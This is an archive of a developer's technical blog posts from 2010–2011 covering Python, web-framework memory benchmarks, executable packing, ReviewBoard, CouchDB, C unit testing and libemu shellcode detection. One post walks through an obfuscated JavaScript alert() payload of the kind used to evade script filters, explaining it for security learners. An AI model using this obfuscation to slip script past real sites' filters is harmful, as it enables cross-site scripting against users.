Availability, Integrity, Confidentiality

split function behavior differences

2011-10-28T14:38:00.000-07:00

A little note from my debugging experience. Split function works differently and I would say unexpectedly for empty string in different programming languages, and it can cause difficult to find bugs (especially if you use a lot of languages simultaneously).

I've created a table with the popular programming languages:

Language	Split without parameters	Split with parameter
Python	''.split()=[]	''.split(',')=['']
Ruby	''.split()=[]	''.split(',')=[]
JavaScript	''.split()=['']	''.split(',')=['']
PHP	N/A	explode(',', '')=array(0=>'')
Java	N/A	"".split(",")={""}
C#	"".Split()={""}	"".Split(',')={""}

As you can see sometimes it returns empty array, but sometimes an array with the one empty element. So please be careful with the split operation :)

Python templating comparison by memory consumption

2011-08-30T23:31:00.000-07:00

Another comparison between:

standard formatting;
more advanced standard string.template;
Mako
Genshi
Jinja2

Here the code I used for measuring:


#!/usr/bin/env python

import sys

NAME = 'name'


def render1():
    template = "<p>Hello %s!</p>"
    return template % NAME


def render2():
    from string import Template
    template = Template("<p>Hello ${name}!</p>")
    return template.substitute(dict(name=NAME))


def render3():
    from mako.template import Template
    template = Template("<p>Hello ${name}!</p>")
    return template.render(name=NAME)


def render4():
    from genshi.template import MarkupTemplate
    tmpl = MarkupTemplate('<p>Hello $name!</p>')
    stream = tmpl.generate(name=NAME)
    return stream.render('xhtml')


def render5():
    from jinja2 import Template
    template = Template('<p>Hello {{ name }}!</p>')
    return template.render(name=NAME)


if __name__ == '__main__':
    num = int(sys.argv[1])
    print globals()['render%d' % num]()
    raw_input('Press Enter...')

Results:

Method	RSS (kB)
standard formatting	4988
string.template	5020
Jinja2	7188
Genshi	7388
Mako	9148

Web application framework comparison by memory consumption

2011-08-30T22:07:00.002-07:00

Memory consumption is slightly specific to my area of software development now, but I did some research recently and maybe these results can be useful for others. Of course, I know that precious comparison is very difficult to carry out, but actually I needed only overall picture. And let me admit that results are pretty interesting and even frustrated (at least for me).

As a basis I took so-starving project, and measured initial RSS (Resident Set Size) of the each process (local development webservers). Platform: x86_64 Linux (latest Ubuntu with all updates).

As a reference, here is the RSS of the interpreters in interactive console mode:

Interpreter	Version	RSS (kB)
stackless python	2.6.4	3916
ruby (via irb)	1.8.7	4664
python	2.7.1	5624
php	5.3.5	6924
v8 (via node.js shell)	2.5.9.9	8796

One more reference - the most simplest WSGI app (example in the Python documentation). It's RSS: 7336 Kb, so I assume it's almost impossible to consume less memory without additional tweaks and optimization.

The WF comparison itself:

Interpreter	FW	Version	RSS (kB)
php	php-cgi (only as reference)	5.3.5	6116
v8	node.js	0.2.6	8692
python	bottle	0.8.4	9688
python	itty	0.8.1	9888
python	pyroutes	0.4.1	10356
python	webpy	0.34	10992
python	tornado	1.0.1	11640
python	webob	1.0	12608
python	django	1.3	12720
python	flask	0.6.1	14972
ruby	sinatra	1.0	15728
python	twisted	10.2.0	16928
python	web2py	1.98.2	17764
python	juno	0.1.2	19068
stackless python	nagare	0.3.0	21232
python	pyramid	1.2	22748
ruby	rails	2.3.4	35412

Of course, development servers are not optimized and can't be use in production, but overall image is clear and give us an idea of the memory usage of different WF.

Packing executables

2011-07-01T00:13:00.001-07:00

One of the biggest challenges with embedding platforms is the limitation related to file sizes. Here is the hint how to make executables smaller - strip them and pack them:

strip is a tool from GNU binutils, it discards symbols. Usually the platform toolchain has one.
upx is an excellent executable packer. Can be downloaded as binary or sources from the UPX sf.net site.

As an example, I'll show you the packing of Python 2.6.7 binary:

$ ls -s --block-size=KB python
6493kB python
$ strip -s python
$ ls -s --block-size=KB python
1696kB python
$ upx --best python
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2010
UPX 3.05 Markus Oberhumer, Laszlo Molnar & John Reiser Apr 27th 2010

File size Ratio Format Name
-------------------- ------ ----------- -----------
1692400 -> 608896 35.98% linux/ElfAMD python

Packed 1 file.
$ ls -s --block-size=KB python
611kB python

So, we've got 10:1 ratio, very impressive! :-)

Stripping is a very useful method, it saves a lot of the file size in our case. However, sometimes it doesn't help at all (depending of the executable and the way it was built). So try it before use; and let me show an example of packing without stripping:

$ ls -s --block-size=KB python
6493kB python
$ upx --best python
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2010
UPX 3.05 Markus Oberhumer, Laszlo Molnar & John Reiser Apr 27th 2010

File size Ratio Format Name
-------------------- ------ ----------- -----------
6489682 -> 2029592 31.27% linux/ElfAMD python

Packed 1 file.
$ ls -s --block-size=KB python
2032kB python

The ratio is not so good, and it was really slower. So please consider various ways to pack your files. Also don't forget to check the Wikipedia page "Executable compression".

P.S. Please note that packing executables can break its functionality. For example (from my experience), upx sometimes breaks applications which use frozen Python modules.

Compiling Python: Modules/Setup

2011-06-30T23:27:00.000-07:00

A little hint for Python developers who use it for embedded or unconventional platforms (like Cray supercomputers if you're lucky): it can be compiled and used without any dynamic libraries. I've got the problem with stripped libc.so - some Python shared object (like _socket.so) try to use it, but can't find anything because it's stripped. The only choice I had is using Python without these shared objects.

Fortunately, Python support it out of the box. After configuring it, you can use Modules/Setup file to set up which modules have to be compiled within the Python binary:

The build process works like this:
1. Build all modules that are declared as static in Modules/Setup,
combine them into libpythonxy.a, combine that into python.
2. Build all modules that are listed as shared in Modules/Setup.
3. Invoke setup.py. That builds all modules that
a) are not builtin, and
b) are not listed in Modules/Setup, and
c) can be build on the target

For example, if you want to embed _socket module to the Python binary, just uncomment this line in the Setup file:

#_socket socketmodule.c

After recompiling you'll get that you want. Feel the power of Python portability :-)

In the near future I'll give an update about another techniques for tuning up the Python installation (like stripping and packing the binary, using standard libraries as zip-archive of pyc-files). Keep in touch.

Embedding Python

2011-06-28T12:55:00.001-07:00

Just want to share some useful links about embedding Python to your C-based application:

the main article: Embedding Python in Another Application
additional article that shows peculiarities of multithreading, sockets and shared memory: Embedding Python in C/C++ (Part1, Part2)
Cython (or Pyrex) can be used to reduce handwritten code for Python interoperability: A quick Cython introduction

If you have doubts about Python size, there are some minimal implementations: see Embedded Python article. Let me quote tinypy:

tinypy is a minimalist implementation of python in 64k of code
...
What more could you possibly want??
a pony?

However, I highly recommend to use classic CPython implementation (basically because it has a huge number of contributors and supporters, and has an excellent documentation). It can be stripped up to 1-2 megabytes depending of your requirements.

Introduction to ReviewBoard

2011-05-03T21:21:00.002-07:00

Review Board is a powerful web-based code review tool that offers developers an easy way to handle code reviews. It scales well from small projects to large companies and offers a variety of tools to take much of the stress and time out of the code review process. Review Board is written in the Python programming language and makes use of the Django web framework.

Installation

Install auxiliary packages if needed and all its dependencies:

$ sudo apt-get install python-setuptools
$ sudo apt-get install python-svn
$ sudo apt-get install python-subversion
$ sudo apt-get install apache2
$ sudo apt-get install libapache2-mod-python
$ sudo apt-get install git

Clone the ReviewBoard package and install it:

$ git clone git://github.com/reviewboard/reviewboard.git
$ cd reviewboard
$ sudo python setup.py develop

Also install post-review tool:

$ sudo easy_install -U RBTools

Set up the required site for the ReviewBoard (for Apache/SQLite backend, otherwise - see Creating Sites reference):

$ sudo rb-site install /var/www/reviews.example.com
$ sudo chown -R www-data /var/www/reviews.example.com/htdocs/media/uploaded
$ sudo chown -R www-data /var/www/reviews.example.com/data
$ cd /etc/apache2/sites-available
$ sudo cp /var/www/reviews.example.com/conf/apache-modpython.conf reviews.example.com.conf
$ cd ../sites-enabled $ sudo ln -s ../sites-available/reviews.example.com.conf .

If necessary, change /etc/hosts to include reviews.example.com for testing purposes.

Restart apache and test the site:

$ sudo /etc/init.d/apache2 restart

You have to got this page:

Fig.1 Log In page

On that stage you can create necessary accounts to work with the system.

Setup the test environment

For testing purposes I install the SVN repo too (just an example, in the most cases I prefer DVCS systems):

$ cd
$ svnadmin create test
$ sudo svnserve -d
$ svn co svn://localhost/$HOME/test svn_test
$ mkdir svn_test/trunk
$ touch svn_test/trunk/README
$ cd svn_test
$ svn add trunk

Change ~/test/conf/svnserve.conf to allow required access (uncomment auth-access = write and password-db=passwd). Add required entries to passwd file (please notice that password should be in clear unencrypted text).
Commit changes:

$ svn ci -m"initial commit"

Setup the ReviewBoard system

Fig.2 Change Repository page

As you can see, Review Board supports the following repo types:

Bazaar
CVS
Clear Case
Git
Mercurial
Perforce
Subversion

Also it can be integrated with the following bug trackers:

Bitbucket
Bugzilla
Github
Google Code
Redmine
Sourceforge
Trac

The initial functionality can be tested with the post-review tool in the source tree with uncommited changes:

$ post-review --username=username --bugs-closed=bug_number(s)

The command above creates a review request by user 'username', and it's also declared that this commit close certain bug(s).

Setup the Subversion hooks

Review Requests can be sent manually, but I'm always trying to automate the process as much as possible. So, let's set up the post-commit hooks. For that, we'll use the svn-hook-postcommit-review from the ReviewBoard sources (contrib/tools). Create a post-commit script in the hooks dir (~/test/hooks):

#!/bin/sh
REPOS="$1"
REV="$2"
/usr/bin/python /some/path/svn-hook-postcommit-review "$REPOS" "$REV" || exit 1

And make it executable:

$ chmod +x post-commit

Set up svn-hook-postcommit-review: POSTREVIEW_PATH (change it to /usr/local/bin or other dir where it's located), USERNAME and PASSWORD (change it to special user with “Can submit as user” Permission and “Can edit review request” Permission). If you've got some problem, you can set up DEBUG constant to True.

Set up svn properties of the checkout-ed sources for review board server:

$ svn propset reviewboard:url http://reviews.example.com .

Using the Review Board

Now all commits which contain "publish review" or similar messages (see the svn-hook-postcommit-review sources) will create review requests as well.

If add ticket number (and setup repository to use some bug-tracking system), the commit message should contain the required reference, for example, #. The link to the ticket will be created by Review Board automatically.

For example, for commit message like this:

Syntax has been fixed, publishreview #161

the result review request can look like this:

Fig. 3 Review Request page

Of course, it is not required to always use 'publish review' commands - the provided hook is just an example, it can be modified whatever you want (including creating requests for each commit). Regular expressions for getting corresponding bug/ticket number(s) are pretty ugly there, so probably you'll want to fix these (bug numbers are passed as parameter to --bugs-closed argument for post-review tool).

And of course, the main part - viewing diffs. Click the corresponding button 'View Diff':

Fig.4 Diff Viewer page

The reviews can add comments, approve or reject changes (for post-commit hook reject is mostly administrative measure rather than technical). General workflow is described on the corresponding Review Board page.

It's pretty difficult to cover all nuances of Review Board administration/usage, so all questions/remarks and suggestions are welcomed. But I hope you've got the whole idea and maybe it will be useful in your practice.

Your Language Sucks (and about PHP again)

2011-04-27T21:20:00.002-07:00

I've found a good wiki-article about programming languages faults and want to share a link: http://wiki.theory.org/YourLanguageSucks. The "winner" is PHP as usual, but Python is also noticed (as well as Ruby :) ). I agree with almost everything there, but in my own eyes Python is still the best choice for programming.
Nevertheless, I also want to point out some other recent links related to PHP (I really shouldn't but just can't help doing it):

And a quote from the interview with Rasmus Lerdorf (the creator of PHP):

I don't know how to stop it, there was never any intent to write a programming language [...] I have absolutely no idea how to write a programming language, I just kept adding the next logical step on the way.

Facebook and PHP

2011-04-02T17:11:00.000-07:00

There is a common mistake about "If everybody use it, so I also have to use it - millions of people can't be wrong". Apparently, they can, and huge codebase, support and knowledge mean nothing, otherwise we would still use Fortran, Cobol, Basic and other almost died monsters.

Also there is an another common mistake about "If big corporation use it, I also have to use it". It's very doubtful, almost always decision are made in hurry and/or by wrong people and/or without serious consideration. And after some period of time, it's difficult to nullify previous decision because it would require huge efforts. Good example - Facebook.

Let me quote the presentation HipHop for PHP Tech Tasting:

PHP is problematic for Facebook:

High CPU usage

High memory usage

Reuse of PHP logic in other systems

Extensions are hard to write for most PHP developers

But huge codebase, strange affection towards PHP (in what universe "loose typing and universal array" are good things? better to ask thousands of programmers who spent millions of hours trying to debug anomalies caused by it) and requirement to "move fast" didn't allow Facebook team to move away from PHP. But they found a good solution - they created a HipHop transformer:

HipHop transforms your PHP source code into highly optimized C++ and then compiles it with g++ to build binary files. You keep coding in simpler PHP, then HipHop executes your source code in a semantically equivalent manner and sacrifices some rarely used features – such as eval() – in exchange for improved performance.

I'd like to notice that during the transformation they change loose typing to strong typing (C++ is a strong typed language, type tricks are not allowed), and that only helps them. Also avoiding dangerous techniques like eval() also can be only plus for them.

So, let me sum up. Don't make rash decision, analyze the situation and all variants, don't be blinded by others popularity. Two words - "be smart" :-) It's obvious, but sometimes we forget it.

P.S. To understand Facebook development more clearly, let me list some other Facebook projects on Github:

Tornado (Python) - an open source version of the scalable, non-blocking web server and tools that power FriendFeed;
pfff (OCaml) - API to write static analysis, dynamic analysis, code visualizations, code navigations, or style-preserving source-to-source transformations such as refactorings on source code;
Scribe (C++) - a server for aggregating log data streamed in real time from a large number of servers. It is designed to be scalable, extensible without client-side modification, and robust to failure of the network or any specific machine.
Cassandra (Java) - a distributed storage system for managing structured data while providing reliability at a massive scale. Now developed by Apache commiters and other contributors: http://cassandra.apache.org/

Also there is a good review of the software behind Facebook.

Python vs JS vs PHP for embedded systems

2011-03-09T21:36:00.001-08:00

I've got a question about which programming language is preferable for developing websites in the embedded system (hence with some limited resources). Here is my small investigation in a table form.

	Python	JS (node.js)	PHP
Runtime Size (Gentoo Linux x86)	~1.4Mb (/usr/lib/libpython3.1.so)	~3.2Mb (/usr/lib/libv8.so)	~7Mb (/usr/bin/php)
Type System	Strong Typing	Weak Typing	Weak Typing
Vulnerabilities	86	732	4501
Performance	35.42	5.35	62.45
Optimization	Psyco (up to 100x)	V8 JavaScript engine is already optimized	PHP Accelerators
Documentation	Excellent	Average	Poor
C Bindings	Excellent	Average	Poor
Code Readability	With PEP8 it can be perfect	Even with Google JavaScript Style Guide it can be a mess	PEAR Coding Standards can't help it
Debugging	Excellent	Average	Poor

My totals: Python - FTW, JS - AVG, PHP - KMN :-)

Additional notes (I didn't include them in the table due to its irrelevance in some cases):

Python is supported on enormous amount of platform, PHP - on slightly less, V8 - only on Linux/Windows/MacOSX.
Sometimes compiling V8 can be tricky depending on target platform.
PHP is highly redundant and don't have thorough naming conventions for its functions (just take a look to its string functions).
People matter - for example, if you don't have PHP experts in your team, it can be risky to use it for development due to its pitfalls.

I someone want to share ideas and other criteria you're welcome!

DIY: Business cards in LaTeX

2011-02-15T12:11:00.000-08:00

Business card can be handy in many cases, and it's not a big deal to create it at home. Let me show one of the methods.

Prerequisites

We need to have:

matte presentation paper (weight 44 lb/165 g/m² in my case);
razor paper trimmer (I've used X-ACTO 12" Personal Paper Trimmer, but can't recommend it - it has a habit to stuck in the middle of the trimming process);
printer (don't know about laser printers, but ink one works fine for me);
LaTeX software.

The last point can be challenging, because LaTeX is not so smooth and user friendly as it can be. My basic recommendations:

install Perl (it's required by auto-pst-pdf package);
update/install all the required LaTeX packages (e.g., some Linux distributions provide incredible old LaTeX packages);
use "-shell-escape" command line option for pdflatex command;
if nothing helps, don't use "auto-pst-pdf", but build DVI/PS file, and convert it to PDF.

Single business card

The code (based on LaTeX QR Based Business Card):

\documentclass[11pt,a4paper]{memoir}

\setstocksize{55mm}{85mm} % UK Stock size

\setpagecc{55mm}{85mm}{*}

\settypeblocksize{45mm}{75mm}{*}

\setulmargins{5mm}{*}{*}

\setlrmargins{5mm}{*}{*}

\setheadfoot{0.1pt}{0.1pt}

\setheaderspaces{1pt}{*}{*}

\checkandfixthelayout[fixed]

\pagestyle{empty}

\usepackage{pstricks}

\usepackage{auto-pst-pdf,pst-barcode}

\begin{document}

%\pagecolor[cmyk]{.22,.36,.51,.08}%

\begin{Spacing}{0.75}%

\noindent

\textbf{Alexander~Slesarev}\\

\rule{74mm}{1mm}\\

\begin{minipage}[t]{30mm}

\vspace{-1mm}%

\begin{pspicture}(30mm,30mm)

% The MECARD format is used to exchange contact information. More information at:

% http://www.nttdocomo.co.jp/english/service/imode/make/content/barcode/function/application/addressbook/index.html

\psbarcode{MECARD:N:Slesarev,Alexander;TEL:+16047165085;EMAIL:alex.slesarev@gmail.com;URL:http://nuald.blogspot.com;;}{eclevel=L width=1.15 height=1.15}{qrcode}

\end{pspicture}

\end{minipage}

\hspace{1mm}

\begin{minipage}[t]{42mm}

\vspace{-1mm}%

\begin{flushleft}

{\scriptsize

\begin{Spacing}{1}%

\textbf{IT Specialist}\\

\hspace{5mm}Software Development\\

\hspace{5mm}Security Researcher\\

\hspace{5mm}High Load Systems\vspace{9mm}\\

\end{Spacing}

}

{\tiny

\textbf{email:} alex.slesarev@gmail.com\\

\textbf{phone:} 604-716-5085\\

\textbf{web:} http://nuald.blogspot.com/\\

\vspace*{2mm}

}

\end{flushleft}

\end{minipage}

\rule{74mm}{1mm}

\end{Spacing}

\end{document}

After the build you'll got something like this:

I would like to notice that it can looks larger on the monitor comparing with the printing size due to different DPIs.

Multiply business card up to fill a page

Use the generated PDF to fill the boxes in the following LaTeX file (based on Tom Schneider template):

\documentclass{article}

\newcommand{\verticalcards}{5}

\textwidth 22.00cm % 21.59cm

\textheight 27.94cm

\topmargin -1.75in % was -1.0

\headheight 0in

\headsep 0in

\oddsidemargin -0.5in % ok fits A4 paper

\usepackage{pstricks} % allows using PSTricks!! Remove if you don't have it.

\usepackage{pst-node} % nodes in pst

\usepackage{graphics}

\pagestyle{empty} % removes page numbers

\begin{document}

\noindent

\setlength{\unitlength}{1in}

\begin{picture}(8.5,11)(0.0,0.3937) % revised for 5 vertical per page

\thicklines

\multiput(0,0)(3.54,0.0){2}{ % horizontal (x) motion

\multiput(0,0)(0.0,2.04){\verticalcards}{ % vertical (y) motion

\framebox(3.5,2){ % x,y size of box, inches

\shortstack[l]{

\includegraphics*{visitcard.pdf}

} % end shortstack

} % end makebox

} % end multiput

\end{picture}

\end{document}

Please notice includegraphics command. You can use not only a PDF file, but any appropriate image.

The result will looks like:

That's all! Print it, trim and you've got desired pieces of paper.

P.S. If you have some questions about setting up the LaTeX ask in comments, just include the information about your OS and LaTeX version.

Mini HOWTO: Getting file names in Zip-archives using Bash

2011-01-27T14:20:00.000-08:00

I'm gathering stats about my archives, and one of these is getting all the file names in them. There are some challenges about it, so let me show the required commands.

Getting file names from the one archive:

unzip -l /path/to/zip-file | tail -n +4 | head -n -2 | cut -c31-

Executing pipelined commands in xargs:

xargs -I {} -i sh -c 'command1 | command2 | ... | commandN'

For my case I've used the expression:

find . -iname "*.zip" -print0 | xargs -0 -n1 -I {} -i sh -c 'unzip -l {} | tail -n +4 | head -n -2 | cut -c31-' | sort | uniq -c

Yeah, yeah, black magic, gotcha Good luck!

CouchDB introduction

2011-01-04T01:02:00.000-08:00

A phenomenon of document-oriented databases is quite interesting - many software developers face problems there this kind of databases is an excellent choice, but these developers don't use them and reinvent the wheel using relational or object-oriented databases. Difficult to say why it happens - because of ignorance, fear of performance problems or desire to reinvent own wheel, but this situation widely spread over the world. Fortunately, the common sense is prevailing, and NoSQL movement prove it.

I have a serious experience with IBM Lotus Notes/Domino, and one of the most interesting features for me on first stages of its studying was saving application design in the documents. Thus the deployment of Lotus Notes database is incredibly easy - one just have to copy NSF-file to another location and it's ready for use (not always, but for trivial cases it's enough). Sometimes it can be a really useful feature, especially during prototyping, but not so many document-oriented databases have it. CouchDB is one of them.

What Apache CouchDB is:

A document database server, accessible via a RESTful JSON API.
Ad-hoc and schema-free with a flat address space.
Distributed, featuring robust, incremental replication with bi-directional conflict detection and management.
Queried and indexed in a MapReduce fashion using JavaScript..
Written in Erlang, a robust functional programming language ideal for building concurrent distributed systems.

CouchDB provides Web administration console (Futon), and in some way it can be compared with Lotus Notes Designer - it allows to operate documents, views, shows and lists, preview results, maintain databases. Of course, it is not so powerful, however it is suitable for trivial tasks, and in this introduction I'll show some aspects of it.

Installation of the CouchDB is covered in wiki: http://wiki.apache.org/couchdb/Installation. The installation can be checked by browsing to the local URL: http://localhost:5984/_utils/

Create a new database "db" using corresponding button:

Create a couple documents using "New Document" button:

Add fields title and content to these documents using "Add Field" button. Don't forget to click "Save Document" before navigating to the root.

After that let's create required view. Switch to temporary view:

Views are the method of aggregating and reporting on the documents in a database, and are built on-demand to aggregate, join and report on database documents. Views are built dynamically and don’t affect the underlying document, you can have as many different view representations of the same data as you like.

Let's create a simple view that just emit the rows with title and content fields from the documents:

function(doc) {
  emit(null, {Content: doc.content, Title: doc.title});
}

Test the view with the "Run" button:

Now it's time to save the view for further usage (to a design document that contain the application design):

After that the view is accessible as JSON-object (use RESTful rules, in this particular case URL is http://domain:port/database_name/_design/design_document_name/_view/view_name):

show and list functions convert documents and views, respectively, into non-JSON formats. The rows of each view are processed individually, which keeps long lists from becoming memory hogs. They are designed to be cacheable. CouchDB handles generating Etags for show and list responses.

Let's create a simple list function. It will generate a basic HTML document using the data from the rows provided by the view we previously created:

function(head, req) {
 start({'headers':{'Content-Type':'text/html;charset=UTF-8'}});
 send('<!DOCTYPE html><head><title>test</title></head><body>');
 var row;
 while(row = getRow()) {
   send('<h1>'+row.value['Title']+'</h1>'+
        '<h2>'+row.value['Content']+'</h2>');
 };
 send('</body>');
}

Add the field lists to the design document and create a sample list with the required function:

I would like to notice that there is a small glitch with the fields containing code - they don't work well with the carriage return symbol. I suggest to use Firefox for inserting code snippets, or just remove new lines symbols before inserting.

The finishing line - testing the results. URL for getting required HTML is http://domain:port/database_name/_design/design_document_name/_list/list_name/view_name:

That's all! There are many features left overboard, but I hope you have got an idea. Of course, CouchDB is not the most powerful document-oriented database, but it's free, have a serious potential and worth a try for your new software project especially if it's related to electronic workflow.

C modules unit-testing in Linux

2010-12-17T13:49:00.000-08:00

In spite of its age, C programming language is still very popular, especially for developing system or low-level software like drivers, compilers, virtual machines etc. And as any software, it have to be tested. Let me show brief introduction in unit-testing for C modules.

There are many unit-testing frameworks for C, and one of the most well-known is cmockery. But I'll show the usage of much more simpler "framework" - FCTX. The main advantage of it is that it consists of just one header file, so it can be easily used for test tasks, small projects and examples.

For calculating code coverage I use gcov/lcov tools. Gcov is included in GCC, so you don't have to install it. Lcov is a graphical front-end for Gcov and should be installed from the repository:

$ sudo apt-get install lcov

As a sample code for testing I'll use a simple hash function from Robert Sedgwicks Algorithms in C book:


#include "hash.h"

unsigned int RSHash(char* str, unsigned int len) {
  unsigned int b    = 378551;
  unsigned int a    = 63689;
  unsigned int hash = 0;
  unsigned int i    = 0;

  for (i = 0; i < len; ++str, ++i) {
    char ch = *str;
    if (!ch) {
      break;
    }
    hash = hash * a + ch;
    a = a * b;
  }
  
  return hash;
}

The tests:


#include "fct.h"
#include "hash.h"

FCT_BGN() {
  FCT_QTEST_BGN(test_hash) {
      fct_chk_eq_int(RSHash("test", 4), 280461880);
  } FCT_QTEST_END();

  FCT_QTEST_BGN(test_hash_with_empty_string) {
      fct_chk_eq_int(RSHash("", 0), 0);
  } FCT_QTEST_END();
} FCT_END();

Tests are compiled and started as a usual command-line utility:

$ gcc hash.c test.c -o hash
$ ./hash
test_hash ......................................................... PASS
test_hash_with_empty_string ....................................... PASS

----------------------------------------------------------------------------

PASSED (2/2 tests)

Now let's check code coverage. For it the program should be compiled with the coverage information included. Lcov analyzes the information and generates a HTML-ready result.

$ gcc -fprofile-arcs -ftest-coverage -coverage hash.c test.c -o hash

$ lcov --directory . --zerocounters

Deleting all .da files in . and subdirectories
Done.

$ ./hash

test_hash ......................................................... PASS
test_hash_with_empty_string ....................................... PASS

----------------------------------------------------------------------------

PASSED (2/2 tests)

$ lcov --directory . --capture --output-file hash.info

Capturing coverage data from .
Found gcov version: 4.4.4
Scanning . for .gcda files ...
Found 2 data files in .
Processing test.gcda
Processing hash.gcda
Finished .info-file creation
Overall coverage rate:
lines......: 57.1% (560 of 981 lines)
functions..: 67.5% (83 of 123 functions)
branches...: 37.0% (247 of 668 branches)

$ genhtml hash.info

Reading data file hash.info
Found 3 entries.
Found common filename prefix "/home/nuald"
Writing .css and .png files.
Generating output.
Processing file workspace/code-coverage/test.c
Processing file workspace/code-coverage/fct.h
Processing file workspace/code-coverage/hash.c
Writing directory view page.
Overall coverage rate:
lines......: 57.1% (560 of 981 lines)
functions..: 67.5% (83 of 123 functions)
branches...: 37.0% (247 of 668 branches)

After it, the "index.html" file is waiting for review in the current directory.

Let's examine is the hash.c module 100% covered:

No, some code lines aren't covered by tests. Lcov shows these lines:

Let's update the tests to include testing of the required code:


#include "fct.h"
#include "hash.h"

FCT_BGN() {
  FCT_QTEST_BGN(test_hash) {
      fct_chk_eq_int(RSHash("test", 4), 280461880);
  } FCT_QTEST_END();

  FCT_QTEST_BGN(test_hash_with_empty_string) {
      fct_chk_eq_int(RSHash("", 0), 0);
  } FCT_QTEST_END();

  FCT_QTEST_BGN(test_hash_with_invalid_len) {
      fct_chk_eq_int(RSHash("invalid", 20), 1640248891);
  } FCT_QTEST_END();

} FCT_END();

Let's make the new coverage report:

$ gcc -fprofile-arcs -ftest-coverage -coverage hash.c test.c -o hash
$ lcov --directory . --zerocounters

$ ./hash -l minimal

$ lcov --directory . --capture --output-file hash.info
$ genhtml hash.info

Now we can see that the module is fully covered:

That's all. Unit-testing is very useful technique, and can be applied in almost all the software projects. Use it as much as possible, and you'll understand all the advantages it can give you. Happy testing!

Is Python appropriate language for the developing high-load systems?

2010-12-13T14:26:00.001-08:00

The short answer - yes. The reasons are below:

There are well-knows systems (like YouTube) that shows Python suitability: YouTube Architecture
The most performance problems are related with not a language speed, but with communication and databases speed. Let me show the example from my own experience: I've worked on project that process a huge amount of data (about inserting 100-200k records a day, and selecting from about 100-200 million records 10-20 times per second). The bottleneck was a database, not the language speed. All indexes were pretty complex, and selecting can take up to 30-90 seconds which was inappropriate. We had to change architecture: use data pool, caches, AMQP (with RabbitMQ server), and after that we don't know any problems at all with performance.
Right tools means everything. For example, if you have to serve enormous web-requests, just use the suitable webserver like Tornado. Especially it is useful for serving Comet-based web applications.

And of course don't forget about right scaling:

use special servers for dispatching static content (nginx, lighttpd);
use caching as much as possible (memcache);
use load balancers;
use database clusters, replications etc

The good sources of information about building high-load systems are:

If you know other links to interesting resources of the kind, let me know, I'll update the list. Good luck!

Explaination of JavaScript "The Da Vinci Code"

2010-12-10T12:11:00.002-08:00

Novice security researchers can reach an impasse analyzing the such-like JS-code (it generates an alert):

(É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å+µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å) 

I would like to remove the veil of secrecy, and explain how it works. It uses several JS-rules:

implicit type conversion;
arrays indexing;
string and arithmetic operations (unary and binary);
JSON-based object creation;
referencing the global object (window) using some functions with invalid or empty parameters;
accessing properties by bracket notation.

Let me show it in action via JavaScript Shell:

[] //explicit empty array declaration

![] //implicit conversion to the Boolean value

false

[]+![] //implicit conversion to the String value

false

([]+![])[3] //get a char by index 3

s

a=[],++a //implicit conversion to the Integer value

1

([]+![])[a=[],++a] //use several implicit conversion, get a char by index 1

a

{} //explicit empty object creation via JSON-declaration

({}+[]) //implicit conversion tho the String value

[object Object]

({}+[])[a=[],-~++a] //use several implicit conversion, get a char by index 2

b

x=[].sort,x() //get window object

[object Window]

(x=[].sort,x())["location"] //access window.location property

http://www.squarefree.com/shell/shell.html

Please notice that getting window object is not a trivial procedure, but there is a good description how it works: (x=[].sort)()===window

Now let's proceed to the analyzing the original sample:

//setting up variables

Å=[],µ=!Å+Å

false

µ

false

È=-~-~++Å

3

Å

1

Ç=!!Å+µ

truefalse

ª=Ç[Å]+Ç[+!Å]

rt

Knowing the variables the mysterious code turns out in the trivial one:

µ[Å]+µ[Å+Å]+Ç[È]+ª //one of the expression in the code

alert

(É=["false"]["sort"])()["alert"](1) //deobfuscated code

As you can see there is no magic here. But it clearly shows that in daedal hands JavaScript can be a dangerous weapon. So be cautious and careful, and no magic can resist your skills!

Settling in Canada

2010-11-24T08:26:00.001-08:00

I'm now in Vancouver, BC, handling all the issues related with immigration. My laptop went out of order right before the departure, so I can't be online all the time I want. But anyway I'll try to get a new one as soon as possible and continue working.

I'm publishing all the materials related to the immigration and settling down in Vancouver at my microblog on the Tumblr (in Russian): http://nuald.tumblr.com/

Thunderbird Grammar Checker 0.5 is released

2010-10-21T18:24:00.005-07:00

Link: https://addons.mozilla.org/en-US/thunderbird/addon/14781/

Now it's compatible with Thunderbird 3.x. The language for checking is correlated with the Spell Checker language. Sorry for delay, but my work load can't give me enough time to support it well.

Future plans:

Support inline highlighting. Backend is almost ready, but there are some problems with frontend - I just don't know how to properly modify DOM of the opened message compose window. Looks like I have to use/hook some JS-events, but my current research gives nothing.
Move to After The Deadline server instead of LT server-mode. LT is integrated to AtD server (see the News section on http://www.languagetool.org/). However, there is a problem with the current AtD server - it doesn't work locally now: http://openatd.trac.wordpress.org/ticket/217. Until they fix the problem, I can't recommend to use it.
Implement pure JS-based Grammar Checker engine. See below the notes.

All of these require some time and efforts, and I gladly accept all the help for contributing in this addon.

An example of LanguageTool rule:

<rule>
    <pattern mark_to="-1">
        <token postag="SENT_START"></token>
        <token>this</token>
        <token regexp="yes">are|were</token>
    </pattern>
    <message>Did you mean <suggestion>these</suggestion>?</message>
    <short>Grammatical problem</short>
    <example type="correct">These are errors.</example>
    <example correction="These" type="incorrect"><marker>This</marker> are errors.</example>
</rule>

As you can see, it is required to support XML parsing, regular expressions and FSM capabilities. All of these can be done in JavaScript, so it's matter only of time and efforts to create pure JS-based engine. As soon as it is implemented, all the dependencies from LT or AtD can be removed.

Shellcode detection using libemu

2010-10-16T01:50:00.001-07:00

Shellcode can be seen as a list of instructions that has been developed in a manner that allows it to be injected in an application during runtime. Each security researcher face the shellcodes during their work, and in this article I'll show how to detect shellcodes using Python (via libemu Python binding).

Few words about libemu:

libemu is a small library written in C offering basic x86 emulation and shellcode detection using GetPC heuristics. Intended use is within network intrusion/prevention detections and honeypots.

The information on the site is not actual in some places, so I'll give direct and clear instruction how to get and install libemu.

Clone the git repository:

$ git clone git://git.carnivore.it/libemu.git

Firstly, configure, make and install libemu itself (without binding):

$ autoreconf -v -i
$ ./configure --prefix=/opt/libemu
$ make
$ sudo make install

If you set up prefix as shown above, you have to add the library path to /etc/ld.so.conf file. It should looks like:

include /etc/ld.so.conf.d/*.conf
/opt/libemu/lib

After that, update the linker run-time database:

$ sudo ldconfig

